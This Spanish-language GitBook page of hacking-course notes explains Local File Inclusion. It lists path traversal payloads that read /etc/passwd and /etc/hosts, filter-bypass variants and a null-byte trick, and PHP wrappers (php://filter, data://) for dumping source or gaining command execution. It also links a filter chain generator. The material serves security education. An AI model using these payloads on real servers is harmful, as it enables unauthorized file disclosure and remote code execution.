Libreria MACantos
  • Libreria M.A Cantos
  • Pentesting
    • PentestTools
    • WriteUps
      • TryHackMe
        • Chocolate Factory
        • Lian_Yu
        • Valley
      • DockerLabs
        • [Muy Fácil] Obssesive
        • [Fácil] Whoiam
        • [Facil] Los 40 ladrones
        • [Fácil] Buscalove
        • [Fácil] ChocolateLovers
        • [Fácil] ConsoleLog
        • [Fácil] Winterfell
      • stacksmashers
  • Datos-Relevantes
    • Ataques mas comunes
    • Direccion correo personalizado por 0,99€
  • Apuntes
    • 🎴Curso de Introducción a Linux
      • Comandos Básicos Linux
      • Análisis de patrones
      • Control del flujo stderr-stdout, operadores y procesos en segundo plano
      • Descriptores de archivo
      • Permisos
        • Permisos especiales – SUID y SGID
        • Privilegios especiales - Capabilities
      • Estructura de directorios del sistema
      • Uso de bashrc y zshrc
      • Uso y manejo de Tmux
      • Uso y manejo de Kitty
      • Búsquedas a nivel de sistema
      • Uso del editor Vim
      • OverTheWhile [Practicas]
        • Conexiones SSH [Bandit0]
        • Lectura de archivos especiales [Bandit1 - Bandit2]
        • Directorio y archivos ocultos [Bandit3]
        • Detección del tipo y formato de archivo [Bandit4]
        • FIND - Búsquedas precisas de archivos [Bandit5 - Bandit6]
        • Métodos de filtrado de datos [Bandit7 - Bandit8]
        • Interpretación de archivos binarios [Bandit9]
        • Codificación y decodificación en base64 [Bandit10]
        • Cifrado césar y uso de tr para la traducción de caracteres [Bandit11]
        • Creamos un descompresor recursivo automático de archivos en Bash [Bandit12]
        • Manejo de pares de claves y conexiones SSH [Bandit13]
        • Uso de netcat para realizar conexiones [Bandit14]
        • Uso de conexiones encriptadas [Bandit15]
        • Escaneo de puertos en Bash [Bandit16]
        • Detección de diferencias entre archivos [Bandit17]
        • Ejecución de comandos por SSH [Bandit18]
        • Abusando de privilegio SUID para migrar de usuario [Bandit 19]
        • Jugando con conexiones [Bandit20]
        • Abusando de tareas Cron [Bandit 21-22-23]
          • Abusando de tareas Cron [Bandit21]
          • Abusando de tareas Cron [Bandit22]
          • Abusando de tareas Cron [Bandit23]
        • Comprendiendo las expresiones de las tareas Cron
        • Fuerza bruta aplicada a conexiones [Bandit24]
        • Escapando del contexto de un comando [Bandit25-26]
        • Operando con proyectos de Github [Bandit 27-28-29-30-31]
          • Operando con proyectos de Github
          • Operando con proyectos de Github
          • Operando con proyectos de Github
          • Operando con proyectos de Github
          • Operando con proyectos de Github
        • Argumentos posicionales en Bash [Bandit 32]
      • Scripts Bash
    • 🛤️Curso de Introducción al Hacking
      • Reconocimiento
        • nmap
          • Técnicas de evasión de Firewalls (MTU, Data Length, Source Port, Decoy, etc.)
          • Descubrimiento de equipos en la red local (ARP e ICMP) y Tips
          • Uso de scripts y categorías en nmap para aplicar reconocimiento
          • Creación de tus propios scripts en Lua para nmap
          • Alternativas para la enumeración de puertos usando descriptores de archivo
        • Validación del objetivo (Fijando un target en HackerOne)
        • Descubrimiento de correos electrónicos
        • Reconocimiento de imagenes
        • Enumeración de subdominios
        • Credenciales y brechas de seguridad
        • Identificación de las tecnologías en una página web
        • Fuzzing y enumeración de archivos en un servidor web
          • Fuzzing y enumeración de archivos en un servidor web (1/2)
          • Fuzzing y enumeración de archivos en un servidor web (2/2)
        • Google Dorks / Google Hacking (Los 18 Dorks más usados)
        • Identificación y verificación externa de la versión del sistema operativo
      • Dockers
      • Enumeración de servicios comunes y gestores de contenido
        • CodeName con SSH
      • Enumeración y explotación
        • Burpsuite
      • OWASP TOP 10 y vulnerabilidades web
        • SQL Injection
        • Cross-Site Scripting (XSS)
          • CookieHyjack
          • KeyLogger
        • XML External Entity Injection (XXE)
        • Local File Incrusion (LFI)
        • Remote File Inclusion (RFI)
        • Log Poisoning (LFI -> RCE)
        • Cross-Site Request Forgery (CSRF)
        • Server-Side Request Forgery (SSRF)
        • Server-Side Template Injection (SSTI)
        • Client-Side Template Injection (CSTI)
        • Padding Oracle
      • Pivoting
    • 🔎OSINT
      • Dirección de correo
Powered by GitBook
On this page

Was this helpful?

  1. Apuntes
  2. Curso de Introducción al Hacking
  3. OWASP TOP 10 y vulnerabilidades web

Local File Incrusion (LFI)

La vulnerabilidad Local File Inclusion (LFI) es una vulnerabilidad de seguridad informática que se produce cuando una aplicación web no valida adecuadamente las entradas de usuario, permitiendo a un atacante acceder a archivos locales en el servidor web.

En muchos casos, los atacantes aprovechan la vulnerabilidad de LFI al abusar de parámetros de entrada en la aplicación web. Los parámetros de entrada son datos que los usuarios ingresan en la aplicación web, como las URL o los campos de formulario. Los atacantes pueden manipular los parámetros de entrada para incluir rutas de archivo local en la solicitud, lo que puede permitirles acceder a archivos en el servidor web. Esta técnica se conoce como “Path Traversal” y se utiliza comúnmente en ataques de LFI.

Ejemplo de LFI:

http://IP?filename=/etc/host 

?filename=../../../../../../etc/hosts 
// sanetizado con filtro de busqueda en la ruta /var/www/html

?filename?....//....//....//....//....//etc/hosts 
// en caso de que ../ sea remplazada por un caracter vacio

?filename?../../../../../etc//./hosts 
// en caso de que este filtrado por la ruta ej(/etc/hosts, /etc/passwd) se ponen dos barras // o /./ y sigue funcionando

?filename?../../../../../etc/passwd%00 
//para versiones de php antiguas

Uso de filtro/wrappers

En PHP, un wrapper es un "envoltorio" o interfaz que permite acceder a diferentes tipos de recursos, como archivos locales, flujos de datos (streams), y contenido en red (HTTP, FTP), mediante un esquema común. Los wrappers actúan como capas de abstracción que permiten trabajar con estos recursos de manera unificada, sin preocuparse por los detalles específicos de cada tipo de recurso.

Algunos de estos wrappers no funcionan por si la configuracion allow_url_include del documento /etc/php/8.3/apache2/php.ini esta desactivada

php://filter

// Convierte el contenido en base64
php://filter/convert.base64-encode/resource=secret.php

// Leer contenido en Base64
echo -n "PD9waHAKCS8vTm8gZGViZXJpYXMgcG9kZXIgdmVybWUgZGFkbyBxdWUgZXN0ZSBjb2RpZ28gZGViZXJpYSBkZSBzZXIgaW50ZXJwcmV0YWRvCgllY2hvICJIb2xhIHF1ZSB0YWwiOwo/Pgo=" | base64 -d

// Convierte el contenido en cifrado cesar//rotacion de 13 posiciones en las letras del abecedario
php://filter/read=string.rot13/resource=secret.php

// Leer el contenido en cifrado cesar
cat data | tr '[c-za-bC-ZA-B]' '[p-za-oP-ZA-O]'

php:input

data://

Encodeamos en base64

agregamos el comando seguido de data://text/plain,base64,

A continuación, se os proporciona el enlace directo a la herramienta que utilizamos al final de esta clase para abusar de los ‘Filter Chains‘ y conseguir así ejecución remota de comandos:

PreviousXML External Entity Injection (XXE)NextRemote File Inclusion (RFI)

Last updated 7 months ago

Was this helpful?

PHP Filter Chain Generator:

🛤️
https://github.com/synacktiv/php_filter_chain_generator